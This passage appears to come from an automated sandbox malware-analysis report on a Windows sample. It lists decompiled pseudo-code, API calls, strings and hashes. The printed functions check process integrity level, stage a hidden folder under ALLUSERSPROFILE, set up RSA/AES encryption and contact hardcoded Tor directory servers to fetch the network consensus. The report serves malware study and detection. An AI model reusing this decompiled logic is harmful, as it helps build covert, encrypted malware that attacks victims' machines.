				_v48.lpszMenuName = 0;
				_v48.lpszClassName =  &_v592;
				_t38 = LoadIconA(0, 0x7f04); // executed
				_v48.hIcon = _t38;
				_v48.hCursor = LoadCursorA(0, 0x7f01);
				_v48.hbrBackground = 6;
				RegisterClassA( &_v48);
				_push(0);
				_push(_v8);
				_push(0);
				_push(0);
				_push(0x96);
				_push(0x1f4);
				_push(0xfa0);
				_push(0xfa0);
				_push(0xc80000);
				_push( &_v336);
				_t43 =  &_v592;
				_push(_t43);
				ExitProcess(0x80); // executed
				_v52 = _t43;
				ShowWindow(_v52, 1); // executed
				UpdateWindow(_v52);
				L1:
				GetMessageA( &_v80, 0, 0, 0);
				TranslateMessage( &_v80);
				DispatchMessageA( &_v80);
				goto L1;
			}

0x00406018
0x0040602b
0x0040603e
0x0040604a
0x0040604d
0x00406057
0x0040605a
0x00406061
0x0040606b
0x0040606e
0x0040607b
0x00406085
0x0040608a
0x00406099
0x0040609c
0x004060a7
0x004060ac
0x004060ae
0x004060b1
0x004060b3
0x004060b5
0x004060ba
0x004060bf
0x004060c4
0x004060c9
0x004060d4
0x004060d5
0x004060db
0x004060e1
0x004060e6
0x004060ee
0x004060f6
0x004060fb
0x00406105
0x0040610e
0x00406117
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,win32app,00000009,?,Microsoft,0000000A,?,?), ref: 00406045
LoadIconA.USER32(00000000,00007F04), ref: 00406085
LoadCursorA.USER32 ref: 00406094
RegisterClassA.USER32 ref: 004060A7
ExitProcess.KERNEL32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000,00000000,00000000,00007F01), ref: 004060E1
ShowWindow.USER32(?,00000001,00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000,00000000,00000000), ref: 004060EE
UpdateWindow.USER32(?), ref: 004060F6
GetMessageA.USER32 ref: 00406105
TranslateMessage.USER32(?), ref: 0040610E
DispatchMessageA.USER32 ref: 00406117

Strings

Microsoft, xrefs: 00406026
win32app, xrefs: 00406039

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Message$LoadWindow$ClassCursorDispatchExitHandleIconModuleProcessRegisterShowTranslateUpdate
String ID: Microsoft$win32app
API String ID: 2466556465-2644191155
Opcode ID: e177152c5d3084d3485ba6afb722dfc63f9e101a684db8c96d32f3d424c36516
Instruction ID: a62c1bd07abcbf020d24c1e2176d0a4a7506cdeb40d967b6bdc8256d7b7b173d
Opcode Fuzzy Hash: e177152c5d3084d3485ba6afb722dfc63f9e101a684db8c96d32f3d424c36516
Instruction Fuzzy Hash: 1C3101B1E44309BAEB50EFE5CC46FDD76B8AF04704F10417AF614BA1C1D7B966048B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004061E1 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004061E1() {
				void* _v8;
				void** _v16;
				long _v20;
				long _v24;
				int _t30;

				_v24 = 0;
				_v20 = 8;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v8) != 0) {
					_v16 = LocalAlloc(0, _v20);
					_t30 = GetTokenInformation(_v8, 0x19, _v16, _v20,  &_v20); // executed
					if(_v20 > 8) {
						LocalFree(_v16);
						_v16 = LocalAlloc(0, _v20);
						_t30 = GetTokenInformation(_v8, 0x19, _v16, _v20,  &_v20); // executed
					}
					if(_t30 != 0 && GetSidSubAuthority( *_v16, 0) != 0) {
						E0040664B(_t34,  &_v24, 4);
					}
					LocalFree(_v16);
					CloseHandle(_v8); // executed
				}
				return _v24;
			}

0x004061ea
0x004061f1
0x0040620d
0x0040621d
0x0040622f
0x00406238
0x0040623d
0x0040624c
0x0040625e
0x0040625e
0x00406265
0x0040627e
0x0040627e
0x00406286
0x0040628e
0x0040628e
0x0040629a

APIs

GetCurrentProcess.KERNEL32(?,orvsmwx,00000003), ref: 004061F8
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,orvsmwx,00000003), ref: 00406206
LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 00406218
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040622F
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040623D
LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 00406247
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 0040625E
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040626E
LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 00406286
CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040628E

Strings

orvsmwx, xrefs: 004061E8

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Local$Token$AllocFreeInformationProcess$AuthorityCloseCurrentHandleOpen
String ID: orvsmwx
API String ID: 1358183241-3620674537
Opcode ID: 0b041a2f9728ca39c2c00c1ad31001507997ef3e1b3406f07dd0e0816cc404ba
Instruction ID: 3aa204e1ca70ff1b323e582ef942c756485858ff24be7c0b94b7ba6d815fcb66
Opcode Fuzzy Hash: 0b041a2f9728ca39c2c00c1ad31001507997ef3e1b3406f07dd0e0816cc404ba
Instruction Fuzzy Hash: 1F111771D04109BADF11EBE1CC02EAFBB79BB44708F10457AB211B51D1DB796A109BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0067003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0067024D

Strings

kernel32.dll, xrefs: 0067008F, 00670095
cess, xrefs: 0067018D

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 482f531de9a673e15bab5d99bba1d20b9055d955ae8799b654930c79a106d657
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: F3526A74A01229DFEB64CF58C985BA8BBB1BF09304F1480D9E54DAB351DB30AE85DF25

Uniqueness

Uniqueness Score: -1.00%

Function 00406122 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00406122(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t8;

				if(_a8 == 0x4a) {
					E00405B81(__eflags, "orvsmwx");
					L00407148();
					ExitProcess(0); // executed
					return CreateWindowExA();
				}
				_t8 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
				return _t8;
			}

0x0040612c
0x00406146
0x0040614b
0x00406fe7
0x00406fec
0x00406fec
0x0040613a
0x00406159

APIs

DefWindowProcA.USER32(?,0000004A,?,?), ref: 0040613A
WSACleanup.WSOCK32(orvsmwx), ref: 0040614B
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,00405DB5,00000000,00002710), ref: 00406FE7

Strings

orvsmwx, xrefs: 00406141
J, xrefs: 00406128

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: CleanupExitProcProcessWindow
String ID: J$orvsmwx
API String ID: 4061260214-2586457356
Opcode ID: dd6ebba015e6d2afe40558b8f4ceac486c3cde9062c175a7bfe37e70d4b4a768
Instruction ID: 53691c68dac22b89b9854181e4d0469f849a8a4a38e76f0433a03a62b4bbdec1
Opcode Fuzzy Hash: dd6ebba015e6d2afe40558b8f4ceac486c3cde9062c175a7bfe37e70d4b4a768
Instruction Fuzzy Hash: E8E04831204109F7CB012F86AC02E9B3B29EF41359F01403BFA16380D3457D9571AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00405D44 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E00405D44(void* __eflags, CHAR* _a4, void* _a8) {
				void* _t23;
				void* _t27;

				_t27 =  &(_a4[GetEnvironmentVariableA("ALLUSERSPROFILE", _a4, 0x100)]);
				asm("stosb");
				_t4 = E00406A32(0x5c, 4) + 4; // 0x4
				_t23 = _t4;
				do {
					_t11 = E00406A32(_t11, 0x18) + 0x61;
					asm("stosb");
					_t23 = _t23 - 1;
					_t34 = _t23;
				} while (_t23 != 0);
				asm("stosb");
				 *_t27 = 0;
				CreateDirectoryA(_a4, 0); // executed
				memcpy(_t27, _a8, E0040690B(_t34, _a8));
				asm("stosb");
				asm("stosb");
				asm("stosb");
				asm("stosb");
				asm("stosb");
				return _a4;
			}

0x00405d5f
0x00405d64
0x00405d6c
0x00405d6c
0x00405d6f
0x00405d76
0x00405d79
0x00405d7a
0x00405d7a
0x00405d7a
0x00405d7f
0x00405d80
0x00405d88
0x00405d9a
0x00405d9e
0x00405da1
0x00405da4
0x00405da7
0x00405daa
0x00405db2

APIs

GetEnvironmentVariableA.KERNEL32(ALLUSERSPROFILE,?,00000100,orvsmwx,?,00000003,?,00401128,?,orvsmwx,00000000,?,00000100,a2guard.exe,00002710,00405DB5), ref: 00405D57
CreateDirectoryA.KERNEL32(?,00000000,00000018,00000004,ALLUSERSPROFILE,?,00000100,orvsmwx,?,00000003,?,00401128,?,orvsmwx,00000000,?), ref: 00405D88

Strings

ALLUSERSPROFILE, xrefs: 00405D52
orvsmwx, xrefs: 00405D49

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: CreateDirectoryEnvironmentVariable
String ID: ALLUSERSPROFILE$orvsmwx
API String ID: 2250995361-2776373528
Opcode ID: b0ab970d59688c1f3a856eb60cee6bf9e551f5a5e72ea3a56912bc58ce2c7b28
Instruction ID: 726bbfcd2f43b28e5ff76a887ac46b0d0d8d5fb25026b89ef5f0ea5ccc7933b8
Opcode Fuzzy Hash: b0ab970d59688c1f3a856eb60cee6bf9e551f5a5e72ea3a56912bc58ce2c7b28
Instruction Fuzzy Hash: 31F0A4392401097EDB00EE1ADC42BCA3F529B59799F549022F7152B2C2DB76A5069FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405B81 Relevance: 4.6, APIs: 3, Instructions: 57
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00405B81(void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v16;
				char _v1032;
				char _v1288;
				char _v1544;
				char* _t23;
				intOrPtr* _t27;
				intOrPtr* _t29;
				void* _t36;

				E004066D2( &_v1544,  &_v16 - _t36);
				_push(0);
				L004071BA();
				E004066E9(0x4090c5, 0x10,  &_v1288);
				E004066E9(0x4090d5, 0x10,  &_v1544);
				_push( &_v8);
				_push( &_v1544);
				_push(1);
				_push(0);
				_t23 =  &_v1288;
				_push(_t23); // executed
				L004071B4(); // executed
				_t38 = _t23;
				if(_t23 >= 0) {
					E004068D9(_t38, _a4,  &_v1032);
					_t27 = _v8;
					 *((intOrPtr*)( *((intOrPtr*)( *_t27 + 0x1c))))(_t27,  &_v1032); // executed
					_t29 = _v8;
					_t23 =  *((intOrPtr*)( *((intOrPtr*)( *_t29 + 8))))(_t29); // executed
				}
				L004071C0(); // executed
				return _t23;
			}

0x00405b98
0x00405b9d
0x00405b9f
0x00405bb2
0x00405bc5
0x00405bcd
0x00405bd4
0x00405bd5
0x00405bd7
0x00405bd9
0x00405bdf
0x00405be0
0x00405be5
0x00405be8
0x00405bf4
0x00405c00
0x00405c09
0x00405c0b
0x00405c14
0x00405c14
0x00405c16
0x00405c1f

APIs

CoInitialize.OLE32(00000000), ref: 00405B9F
CoCreateInstance.OLE32(?,00000000,00000001,?,?,004090D5,00000010,?,004090C5,00000010,?,?,?,?,?,000000C7), ref: 00405BE0
CoUninitialize.OLE32(?,00000000,00000001,?,?,004090D5,00000010,?,004090C5,00000010,?,?,?,?,?,000000C7), ref: 00405C16

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 5e3ef29ae8627ea3b518752bc4e29ed03128baf8a823540f9a71f3ce2cdc141c
Instruction ID: afda16771960026ea4e57ba7b80d7b759fbed178dbd1634576a91aaab0002675
Opcode Fuzzy Hash: 5e3ef29ae8627ea3b518752bc4e29ed03128baf8a823540f9a71f3ce2cdc141c
Instruction Fuzzy Hash: 40112EB6900208AADB10EA95CC81FDF736C9F48304F1045AAF705F61C2DA75EA558B69

Uniqueness

Uniqueness Score: -1.00%

Function 00412B1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000020,?), ref: 00412B4D

Strings

, xrefs: 00412B28

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 0d9fb5f4c326ccbe7e343c98b7afcf78e68aaf9f66025fb44f9083db639246b4
Instruction ID: 16f91666016338ce0897f4535edca2bcbe4508b57b2528009a605c6dad7ded42
Opcode Fuzzy Hash: 0d9fb5f4c326ccbe7e343c98b7afcf78e68aaf9f66025fb44f9083db639246b4
Instruction Fuzzy Hash: D0E0ECB4415348FFDB01CB95FD08BD97FF9E755308F2041A4E50062161D3B56A14AB29

Uniqueness

Uniqueness Score: -1.00%

Function 00670DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00670223,?,?), ref: 00670E02
SetErrorMode.KERNELBASE(00000000,?,?,00670223,?,?), ref: 00670E07

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d7bdc270806691586b2b53d89c61f12115b703a719d398b334eb3122813f2461
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: C6D0123114512CB7D7002B94DC09BCD7B1C9F05B66F008011FB0DD9181C7B0994047F5

Uniqueness

Uniqueness Score: -1.00%

Function 00670920 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00670929

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction ID: f1a77b98683cafb1fb7459b4dcf7902f75ab8b99c0f73db378513641b05b932d
Opcode Fuzzy Hash: a81f69529bcf2872433a6626b6dddab0307a3207cad9c1e7665d850a07e5ea8b
Instruction Fuzzy Hash: 1190026038415011D820259C4C02B0510021751634F3047107170B91D4D84496144126

Uniqueness

Uniqueness Score: -1.00%

Function 00412B06 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,00412FA6), ref: 00412B10

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: a22887928bfad020e7f94002ce2ab362a900bae108b0c2023c4fcd785aafee6e
Instruction ID: 6ae84b67e16065d357cd5e632f47d51077d78ac679f32abaf54c515fe20364df
Opcode Fuzzy Hash: a22887928bfad020e7f94002ce2ab362a900bae108b0c2023c4fcd785aafee6e
Instruction Fuzzy Hash: B7B012F50161008AD3004F739C48BC53964E3E5307F118072A70CC1154CB70E2005E3C

Uniqueness

Uniqueness Score: -1.00%

Function 00412B08 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00412FA6), ref: 00412B10

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 470717b38cc2fd8a0c4a920ed5304e860ed77dd3bdd7a7dc4029013d3fd65535
Instruction ID: c8baa8bde7583ad4131d7c334ac4cb7a68e75236fe6cbe664849887b5b190d9e
Opcode Fuzzy Hash: 470717b38cc2fd8a0c4a920ed5304e860ed77dd3bdd7a7dc4029013d3fd65535
Instruction Fuzzy Hash: 22B012B4005100CBD7005FA2ED047843E70A3C9303F004031E30880174C77050009F28

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401168 Relevance: 106.4, APIs: 16, Strings: 44, Instructions: 1413
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00401168(signed int __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				long* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				signed int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v184;
				char _v312;
				char _v440;
				int _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				short _v454;
				char _v455;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				char _v512;
				char _v516;
				char _v520;
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v572;
				signed int _v576;
				char _v881;
				char _v901;
				char _v1000;
				char _v1041;
				signed int _v1042;
				signed int _v1043;
				char _v1063;
				char _v1064;
				char _v1065;
				intOrPtr _v1069;
				char _v1070;
				char _v1086;
				char _v1284;
				intOrPtr _v1288;
				int _v1292;
				int _v1296;
				char _v1300;
				int _v1304;
				int _v1308;
				char _v1312;
				char _v1313;
				intOrPtr _v1444;
				char _v1445;
				char _v1460;
				char _v1545;
				char _v1565;
				char _v1566;
				signed int _v1570;
				char _v1590;
				char _v1600;
				intOrPtr _v1616;
				char _v1620;
				intOrPtr _v1624;
				CHAR* _v1628;
				intOrPtr _v1632;
				CHAR* _v1636;
				intOrPtr _v1640;
				CHAR* _v1644;
				intOrPtr _v1648;
				CHAR* _v1652;
				intOrPtr _v1656;
				CHAR* _v1660;
				intOrPtr _v1664;
				CHAR* _v1668;
				intOrPtr _v1672;
				CHAR* _v1676;
				intOrPtr _v1680;
				CHAR* _v1684;
				intOrPtr _v1688;
				CHAR* _v1692;
				char _v1696;
				int _v1700;
				int _v1704;
				signed int _v1708;
				char _v1740;
				char* _v1748;
				char* _v1752;
				intOrPtr _v1760;
				intOrPtr _v1764;
				char _v1768;
				intOrPtr _v1772;
				intOrPtr _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				char _v1788;
				intOrPtr _v1792;
				intOrPtr _v1800;
				char _v1808;
				signed int _v1816;
				char _v1828;
				int _v1880;
				int _v1884;
				char _v1888;
				void* _v1892;
				int _v1896;
				char _v1904;
				char _v1916;
				char* _v1920;
				char _v1924;
				BYTE* _v1928;
				int _v1932;
				signed int _t689;
				signed int _t698;
				signed int _t703;
				signed int _t705;
				signed int _t709;
				int _t711;
				signed int _t717;
				signed int _t724;
				intOrPtr _t729;
				signed int _t735;
				char _t736;
				signed int _t743;
				signed int _t770;
				signed int _t775;
				signed int _t795;
				signed int _t797;
				int _t803;
				signed int _t804;
				signed int _t812;
				signed int _t815;
				signed int _t819;
				signed int _t820;
				signed int _t825;
				intOrPtr _t833;
				void* _t835;
				signed int _t839;
				signed int _t847;
				signed int _t866;
				signed int _t868;
				intOrPtr _t883;
				char _t884;
				signed int _t892;
				signed int _t904;
				signed int _t962;
				signed int _t964;
				signed int _t966;
				signed int _t976;
				signed int _t978;
				signed int _t979;
				signed int _t980;
				signed int _t981;
				void* _t983;
				signed int _t984;
				signed int _t986;
				signed int _t987;
				void* _t989;
				signed int _t990;
				int _t998;
				signed int _t1003;
				signed int _t1007;
				intOrPtr _t1011;
				void* _t1014;
				char* _t1020;
				char* _t1026;
				void* _t1028;
				char* _t1030;
				char* _t1031;
				char* _t1032;
				char* _t1033;
				char* _t1034;
				char _t1035;
				char* _t1036;
				BYTE* _t1037;
				char* _t1038;
				char* _t1039;
				char* _t1043;
				char* _t1044;
				char* _t1045;
				void* _t1046;
				intOrPtr* _t1047;
				char _t1050;
				void* _t1051;
				void* _t1052;

				_t1017 = __edx;
				E004066D2( &_v1932,  &_v16 - _t1052);
				CryptAcquireContextA( &_v8, 0, "Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider", 0xd, 0xf0000000);
				_push(0);
				_push(0);
				_push(L"SHA1");
				_push( &_v12);
				 *((intOrPtr*)(E00406EE2( &_v16 - _t1052, E00406DF2("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0);
				_push(L"RSA");
				_push( &_v16);
				 *((intOrPtr*)(E00406EE2( &_v16 - _t1052, E00406DF2("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0);
				_push(L"AES");
				_push( &_v20);
				 *((intOrPtr*)(E00406EE2( &_v16 - _t1052, E00406DF2("bcrypt.dll"), "BCryptOpenAlgorithmProvider")))();
				_push(0);
				_push(0x20);
				_push(L"ChainingModeECB");
				_push(L"ChainingMode");
				_push(_v20);
				_t660 =  *((intOrPtr*)(E00406EE2( &_v16 - _t1052, E00406DF2("bcrypt.dll"), "BCryptSetProperty")))();
				_v1896 = 0;
				_v1932 = 0;
				_v1692 = "193.23.244.244";
				_v1688 = 0x50;
				_v1684 = "86.59.21.38";
				_v1680 = 0x50;
				_v1676 = "199.58.81.140";
				_v1672 = 0x50;
				_v1668 = "204.13.164.118";
				_v1664 = 0x50;
				_v1660 = "194.109.206.212";
				_v1656 = 0x50;
				_v1652 = "131.188.40.189";
				_v1648 = 0x50;
				_v1644 = "154.35.175.225";
				_v1640 = 0x50;
				_v1636 = "171.25.193.9";
				_v1632 = 0x1bb;
				_v1628 = "128.31.0.34";
				_v1624 = 0x23ab;
				_v1620 = "128.31.0.39";
				_v1616 = 0x23ab;
				_v1696 = 5;
				while(1) {
					_t31 =  &_v1696;
					 *_t31 = _v1696 - 1;
					_t1054 =  *_t31;
					if( *_t31 < 0) {
						break;
					}
					E00406A32(_t660, 0xa);
					_t660 = E00402A45(_t1017, _t1054,  *[ss:ecx+ebp-0x698],  *[ss:ecx+ebp-0x694], "/tor/status-vote/current/consensus",  &_v576);
					_t1055 = _t660;
					if(_t660 == 0) {
						continue;
					}
					_v40 = _t660;
					_t689 = E004069DA(_t1055, _v576, _v40, "directory-footer");
					_t660 = _t689;
					if(_t689 == 0) {
						continue;
					} else {
						_t1017 = _v576;
						_t660 = E004066D2(_t660 - _v576 + _v576, _v40 - _t660 - _v576);
						_v1700 = 0;
						_v1704 = 0;
						_t1026 = _v576;
						do {
							if(_v40 > 3 &&  *_t1026 == 0xa &&  *((char*)(_t1026 + 1)) == 0x72 &&  *((char*)(_t1026 + 2)) == 0x20) {
								_v1700 = _v1700 + 1;
								_t987 = E00403FA5(_t1026);
								_t660 = _t987 & 0x00000008;
								if((_t987 & 0x00000008) != 0) {
									_v1704 = _v1704 + 1;
								}
							}
							_t1026 = _t1026 + 1;
							_t51 =  &_v40;
							 *_t51 = _v40 - 1;
						} while ( *_t51 != 0);
						if(_v1700 > 0x3e8) {
							_v1708 = 0;
							while(1) {
								__eflags = _v1708 - 4;
								if(_v1708 > 4) {
									goto L133;
								}
								_t1027 = E00403F5D(_v576, E00406A32(_t660, _v1700), 0);
								_t660 = E00403FA5(_t693);
								__eflags = _v1708;
								if(_v1708 != 0) {
									L17:
									__eflags = _v1708 - 1;
									if(_v1708 != 1) {
										L19:
										__eflags = _v1708 - 2;
										if(_v1708 != 2) {
											L21:
											__eflags = _v1708 - 4;
											if(__eflags != 0) {
												L23:
												_t698 = E00403EA6(__eflags, _t1027, _t1051 + _v1708 * 4 - 0x6dc, _t1051 + _v1708 * 4 - 0x6f0, _t1051 + _v1708 * 4 - 0x704, _t1051 + _v1708 * 4 - 0x718);
												_t660 = _t698;
												__eflags = _t698;
												if(_t698 != 0) {
													continue;
												}
												__eflags = _v1708 - 1;
												if(_v1708 != 1) {
													L26:
													__eflags = _v1708 - 4;
													if(__eflags != 0) {
														__eflags = _v1708 - 3;
														if(_v1708 != 3) {
															__eflags = _v1708 - 2;
															if(__eflags != 0) {
																__eflags = _v1708;
																if(__eflags != 0) {
																	L130:
																	_v1708 = _v1708 + 1;
																	continue;
																}
																__eflags = E00402FB6(_t1017, __eflags, _v1780, _v1800, _a12, _a16,  &_v1896);
																if(__eflags == 0) {
																	L131:
																	_t660 = E00406474(_a12, _a16, _v1896);
																	_v1708 = 0;
																	continue;
																}
																E00404484(__eflags, _v1896, 0x4092a0, 7, 0, _a12);
																_v1892 = 0;
																_t703 = E004048B6(0x186a0,  &_v1920);
																__eflags = _t703;
																if(_t703 == 0) {
																	goto L131;
																}
																_t705 = E004048B6(0x186a0,  &_v1924);
																__eflags = _t705;
																if(_t705 == 0) {
																	goto L131;
																}
																_t1028 = _v1920;
																_v40 = 0;
																_v48 = 0;
																while(1) {
																	E00406698(_v1896, 0,  &_v1916, 0xa, 0);
																	_push( &_v1904);
																	_push(0);
																	_push(0);
																	_t709 =  &_v1916;
																	_push(_t709);
																	_push(0);
																	L0040717E();
																	__eflags = _t709;
																	if(__eflags <= 0) {
																		goto L131;
																	}
																	_t711 = E004045B9(__eflags, _v1896,  &_v1892, _a12);
																	__eflags = _t711;
																	if(_t711 <= 0) {
																		goto L131;
																	}
																	_v40 = _v40 + _t711;
																	_t1046 = _v1892;
																	_t998 = _t711;
																	memcpy(_t1028, _t1046, _t998);
																	_t1052 = _t1052 + 0xc;
																	_t1028 = _t1046 + _t998 + _t998;
																	E004048E1( &_v1892);
																	__eflags = _v40 - 0x202;
																	if(_v40 < 0x202) {
																		continue;
																	}
																	_t1017 = _v1920;
																	_t717 =  *(_t1017 + 0x10) & 0x0000ffff;
																	__eflags = _t717 + 0x19 - _v40;
																	if(_t717 + 0x19 > _v40) {
																		continue;
																	}
																	_t1003 =  *(_t717 + _t1017 + 0x17) & 0x0000ffff;
																	__eflags = _v40 - _t1003 + _t717 + 0x21b;
																	if(_v40 != _t1003 + _t717 + 0x21b) {
																		continue;
																	}
																	E004066E9(_a4, 0xa,  &_v1600);
																	asm("bswap eax");
